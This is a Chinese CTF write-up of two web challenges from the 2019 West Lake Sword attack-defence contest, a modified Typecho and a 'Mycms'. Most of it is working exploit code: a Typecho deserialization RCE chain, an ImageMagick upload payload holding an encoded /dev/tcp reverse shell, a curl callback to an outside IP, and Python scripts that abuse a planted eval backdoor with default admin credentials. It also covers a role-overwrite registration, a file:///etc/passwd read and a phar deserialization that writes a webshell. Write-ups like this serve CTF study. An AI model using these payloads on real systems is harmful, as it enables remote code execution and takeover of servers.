ad输出光绘文件_2019西湖论剑AD攻防Web题解

edeb0d8cbec8bae9dc4e3fd51b1a77d4.gif

dc738866ba7fd44b0ceb533617e37d06.png前言

上周参加了西湖论剑线下赛,在AD攻防赛中喜迎冠军,以下是AD攻防赛中2道web的题解。

dc738866ba7fd44b0ceb533617e37d06.pngWeb1 - typecho

整体源码如下:

ba57bf535ad5124fe01d8c0e64afc763.png

因为是typecho CMS,所以肯定有已知CVE,由于之前审计过,这就不重新分析了,只分析人为加入的。

漏洞1 - 反序列化CVE

https://skysec.top/2017/12/29/cms%E5%B0%8F%E7%99%BD%E5%AE%A1%E8%AE%A1-typecho%E5%8F%8D%E5%BA%8F%E5%88%97%E6%BC%8F%E6%B4%9E/

可参加我以前分析的这篇文章,构造如下序列化,进行RCE:

class Typecho_Feed{

    private $_type='ATOM 1.0';

    private $_items;

    public function __construct(){

        $this->_items = array(

            '0'=>array(

                'author'=> new Typecho_Request())

        );

    }

}

class Typecho_Request{

    private $_params = array('screenName'=>'phpinfo()');

    private $_filter = array('assert');

}

$poc = array(

'adapter'=>new Typecho_Feed(),

'prefix'=>'typecho');

echo base64_encode(serialize($poc));

漏洞2 - Imagick

通过源码diff,可以发现:

/var/Widget/Users/Profile.php

有明显不同,插入了一大段代码:

3e5d572d6dd39fcce461ba51039e9edf.png

我们审计这段代码,可以发现关键点:

try {

    $image = new Imagick($file['tmp_name']);

    $image->scaleImage(255, 255);

    file_put_contents($path, $image->getImageBlob());

} catch (Exception $e) {

    $this->widget('Widget_Notice')->set(_t("头像上传失败"), 'error');

    $this->response->goBack();

}

这段代码使用了Imagick(),而该函数存在RCE漏洞。

我们以如下代码为例进行测试:

e64cd43146fa546647f384d16e58c510.png

构造上传内容为:

Content-Disposition: form-data; name="file_upload"; filename="exp.gif"

Content-Type: image/jpeg

push graphic-context

viewbox 0 0 640 480

fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pICZndDsmIC9kZXYvdGNwL2lwL3BvcnQgMCZndDsmMQ== | base64 -d | bash`"| cat flag " )'

pop graphic-context

即可RCE。

漏洞3 - authcode泄露

我们diff可以发现如下路径,存在新增文件:

/var/Sitemap.php

c3f8abe4269fede5b69504b01c76b32e.png

我们审计代码发现关键点:

function ab($a='a')

{

    $b = authcode(base64_decode('MjJkZnFseEVScHcxWkU5c08raGxoOUJzWGFKM0F3NWVPMm5QUUFISm5WSDhuTGc='));

    $b($a);

}

{

    ob_start(ab);

    echo authcode($_GET['site']);

    ob_end_flush();

}

我们直接var_dump($b),发现为system,即此处如果可控$a,则可进行RCE。

我们测试一下:

function ab($a='a')

{

  // replace all the apples with oranges

return system($a);

}

ob_start("ab");

?>

curl 106.14.114.127:24444

ob_end_flush();

?>

可收到请求:

c4179e5fb3460fc4e81b433eda76fc9d.png

则不难发现,如果我们能控制如下函数的输出内容,即可进行任意RCE。

authcode($_GET['site']);

那我们跟进authcode:

function authcode($string, $key = '12333010101') {

    $ckey_length = 4;

    $key = md5($key ? $key : $GLOBALS['discuz_auth_key']);

    $keya = md5(substr($key, 0, 16));

    $keyb = md5(substr($key, 16, 16));

    $keyc = substr($string, 0, $ckey_length);

    $cryptkey = $keya . md5($keya . $keyc);

    $key_length = strlen($cryptkey);

    $string =  base64_decode(substr($string, $ckey_length));

    $string_length = strlen($string);

    $result = '';

    $box = range(0, 255);

    $rndkey = array();

    for ($i = 0; $i <= 255; $i++) {

        $rndkey[$i] = ord($cryptkey[$i % $key_length]);

    }

    for ($j = $i = 0; $i < 256; $i++) {

        $j = ($j + $box[$i] + $rndkey[$i]) % 256;

        $tmp = $box[$i];

        $box[$i] = $box[$j];

        $box[$j] = $tmp;

    }

    for ($a = $j = $i = 0; $i < $string_length; $i++) {

        $a = ($a + 1) % 256;

        $j = ($j + $box[$a]) % 256;

        $tmp = $box[$a];

        $box[$a] = $box[$j];

        $box[$j] = $tmp;

        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

    }

    if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) &&

        substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {

        return substr($result, 26);

    } else {

        return '';

    }

}

依次分析,首先key已知为12333010101,那么:

$cryptkey = $keya . md5($keya . $keyc);

$key_length = strlen($cryptkey);

分别为:

afbedca20d58ccf2ceab39618a931d526ba4b613c047adffd92173daa701cdb6

64

然后操作:

$string =  base64_decode(substr($string, $ckey_length));

$string_length = strlen($string);

所以我们构造的payload的base64长度要小于64。

然后是一堆流密钥生成步骤,到最后解密这一块:

for ($a = $j = $i = 0; $i < $string_length; $i++) {

        $a = ($a + 1) % 256;

        $j = ($j + $box[$a]) % 256;

        $tmp = $box[$a];

        $box[$a] = $box[$j];

        $box[$j] = $tmp;

        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

    }

最后有一步操作,即将我们输入的密文$string,异或上之前的流密钥,得到明文$result。

那么如果我们想要已知明文求密文,即用$result异或上流密钥即可:

$string .= chr(ord($result[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

那我们怎么获取$result呢?还有一步校验要通过:

if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) &&

        substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {

        return substr($result, 26);

    }

我们可以用如下方式生成$result:

$keyb = "9528c27d9961b981415d909a120c6e1b";

$result = 'ls';

$tmp = substr(md5($result . $keyb), 0, 16);

$padding = '0000000000';

$result = $padding.$tmp.$result;

var_dump($result);

最后异或之前的流密钥,再base64encode,即可得到我们的input,达到任意RCE的目的。

值得注意的是还有一步:

$keyc = substr($string, 0, $ckey_length);

在我们只有明文,没有加密算法的时候,他需要对密文进行截取,这就非常难办了。但是好在:

$ckey_length = 4;

由于其在base64encode之后,所以我们可以对其进行爆破,数量级为64^4,还是在可爆破的范围内。

这样很容易即可进行RCE(这样的题目放在4个小时,2个web的AD下,可能不太好吧= =)。

dc738866ba7fd44b0ceb533617e37d06.pngWeb2 - Mycms

整体源码如下,我们依次审计:

b624b245185b31ee9194c531398cb390.png

漏洞1 - 预留回调函数

/footer.php

if($_SERVER['SCRIPT_FILENAME']==__FILE__){

    echo '

© mycms

';

}else{

    array_filter(array(base64_decode($data["name"])), base64_decode($data["pass"]));

}

?>

从代码不难看出:

array_filter(array(base64_decode($data["name"])), base64_decode($data["pass"]));

该位置存在命令执行,例如:

array_filter(array('ls /tmp'),'system');

e3bce3a524a7bd0a779c8567ecd4321c.png

但是如果直接访问footer.php:

http://localhost/footer.php

会直接打印:

© mycms

所以需要找到一个包含点,不难发现index.php有:

那么只要$data["name"]和$data["pass"]可控,即可进行任意命令执行。

我们跟进两个变量:

/libs/inc_common.php

$data = array_merge($_POST,$_GET);

可以发现,既可以用$_POST也可以用$_GET进行传参。

所以第一个漏洞利用exp可以写为如下:

import requests

import base64

url = 'http://localhost/index.php'

data = {

"name":base64.b64encode('ls'),

"pass":base64.b64encode('system')

}

r = requests.post(data=data,url=url)

漏洞2 - 预留登录shell

/shell.php

session_start();

if ($_SESSION['role'] == 1) {

    eval($_POST[1]);

}

我们发现有一个较为明显的预留shell,但是需要:

$_SESSION['role'] == 1

我们跟进该值:

/login.php

if (User::check($user, $pass)) {

        setcookie("auth",$user."\t".User::encodePassword($pass));

        $_SESSION['user'] = User::getIDByName($user);

        $_SESSION['role'] = User::getRoleByName($user);

        $wrong            = false;

        header("Location: index.php");

    } else {

        $wrong = true;

    }

}

可以发现如上登录函数,其中有赋值操作:

$_SESSION['role'] = User::getRoleByName($user);

跟进该函数getRoleByName():

public static function getRoleByName($name)

    {

        $users = User::getAllUser();

        for ($i = 0; $i < count($users); $i++) {

            if ($users[$i]['name'] === $name) {

                return $users[$i]['role'];

            }

        }

        return null;

    }

再跟进getAllUser():

public static function getAllUser()

    {

        $sql = 'select * from `user`';

        $db  = new MyDB();

        if (!$users = $db->exec_sql($sql)) {

            return array(array('id' => 1, 'name' => 'admin', 'password' => self::encodePassword('admin123'), 'role' => 1));

        }

        return $users;

    }

可以发现有admin账户信息,容易知道admin账户为:

username = admin

password = admin123

那么综合来看,只需使用该账户登录,即可使用shell.php。

那么可以写出如下exp:

import requests

url = "http://localhost/login.php"

s = requests.session()

data = {

'user':'admin',

'pass':'admin123'

}

r = s.post(url, data=data)

data = {

'1':"system('ls');"

}

url = "http://localhost/shell.php"

r = s.post(url,data=data)

漏洞3 - 管理员覆盖

我们注意到注册页面:

/register.php

$data["name"] = addslashes($data['name']);

$data["password"] = User::encodePassword($data['password']);

$res = User::insertuser($data);

我们跟进insertuser():

public static function insertuser($data)

{

        $db = new MyDB();

        $sql = "insert into user(".implode(",",array_keys($data)).") values ('".implode("','",array_values($data))."')";

        if (!$result = $db->exec_sql($sql)) {

            return array('msg' => '数据库异常', 'code' => -1, 'data' => array());

        }

        return array('msg' => '操作成功', 'code' => 0, 'data' => array());

}

发现关键语句:

$sql = "insert into user(".implode(",",array_keys($data)).") values ('".implode("','",array_values($data))."')";

未对$data进行判断,不但未进行查重,也没对数组内容进行check,我们可以顺便传入role,覆盖管理员。

可写出如下脚本:

import requests

s = requests.session()

url = "http://localhost/register.php"

data = {

'name':'skysky'

'password':'skysky'

'role':'1'

}

r = s.post(url, data=data)

url = "http://localhost/login.php"

data = {

'user':'skysky',

'pass':'skysky'

}

r = s.post(url, data=data)

data = {

'1':"system('ls');"

}

url = "http://localhost/shell.php"

r = s.post(url,data=data)

漏洞点4 - 任意文件读取

我们看到文件:

/down.php

if (isset($data['filename'])) { 

    if(preg_match("/^http/", $data['filename'])){

        exit();

    }

    chdir("/var/www/html/static/img/");    

    if (file_exists($data['filename'])) {

        header("Content-type: application/octet-stream");

        header('content-disposition:attachment; filename='.basename($data['filename']));

        echo file_get_contents($data['filename']);exit();

    }else{

        echo "文件不存在";

    }

}

?>

这里对filename参数做了过滤,但过滤非常有限,我们可以用file协议进行任意文件读取:

http://localhost/?filename=file:///etc/passwd

漏洞点5 - 反序列化

我们看到文件:

/libs/class_debug.php

class Debug {

    public $msg='';

    public $log='';

    function __construct($msg = '') {

        $this->msg = $msg;

        $this->log = 'errorlog';

        $this->fm = new FileManager($this->msg);

    }

    function __toString() {

        $str = "[DEUBG]" . $msg;

        $this->fm->save();

        return $str;

    }

    function __destruct() {

        file_put_contents('/var/www/html/logs/'.$this->log,$this->msg);

        unset($this->msg);

    }

}

可以发现这里有比较明显任意写文件漏洞,但我们需要控制文件名和文件内容,即:

$this->log

$this->msg

这里的exp构造较为容易:

class Debug {

public $msg='sky.php';

    public $log='<?php @eval($_POST[\'sky\'])';

}

$a = new Debug();

var_dump(serialize($a));

可以得到我们的payload:

O:5:"Debug":2:{s:3:"msg";s:7:"sky.php";s:3:"log";s:26:"<?php @eval($_POST['sky'])";}

但是我们缺少一个触发序列化的点,这里容易想到phar反序列化。

我们全局搜索file_exists(),可以发现/down.php中存在该操作:

if (file_exists($data['filename']))

同时该处没有对伪协议进行过滤,我们可以使用操作:

filename=phar://......

于是我们进一步寻找上传点,我们在/admin.php发现对应上传功能:

else if ($data['action'] == 'send_article') {

    $res = Article::sendArticle($data);

    echo "

    echo "

}

我们跟进sendArticle():

$oldname  = $_FILES['files']['name'];

$tmp      = $_FILES['files']['tmp_name'];

$pathinfo = pathinfo($oldname);

if (in_array($pathinfo['extension'], array('php', 'php3', 'php4', 'php5'))) {

    return array('msg' => '文件上传类型出错', 'code' => -1, 'data' => array());

}

$nameid = time() . rand(1000, 9999);

$name =  $nameid. '.' . $pathinfo['extension'];

$filepath = dirname(dirname(__FILE__)) . '/uploads/';

$file = 'uploads/' . $name;

if (!move_uploaded_file($tmp, $filepath . $name)) {

    return array('msg' => '文件上传出错', 'code' => -1, 'data' => array());

}

这里可以看到几个过滤,首先对后缀名进行了过滤:

'php', 'php3', 'php4', 'php5'

然后进行了重命名,但这都不重要。我们可以构造图片后缀的phar文件,然后上传,结合file_exists()触发反序列化。

构造如下:

class Debug {

public $msg='sky.php';

    public $log='<?php @eval($_POST[\'sky\'])';

}

$a = serialize(new Debug());

$b = unserialize($a);

$p = new Phar('./skyfuck.phar', 0);

$p->startBuffering();

$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');

$p->setMetadata($b);

$p->addFromString('test.txt','text');

$p->stopBuffering();

rename('skyfuck.phar', 'skyfuck.jpg')

?>

上传图片后即可触发反序列化,通过:

http://localhost/down.php?filename=phar://uploads/1234.jpg

即可任意写shell。

dc738866ba7fd44b0ceb533617e37d06.png后记

听说两个cms一起有是几个洞 = =,先分析一下目前我找到的吧~有空再继续挖掘!

76b97d46ec58d029302e9e4255f17f68.png

d99544f076112d364b5eb70e5aaae6e7.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值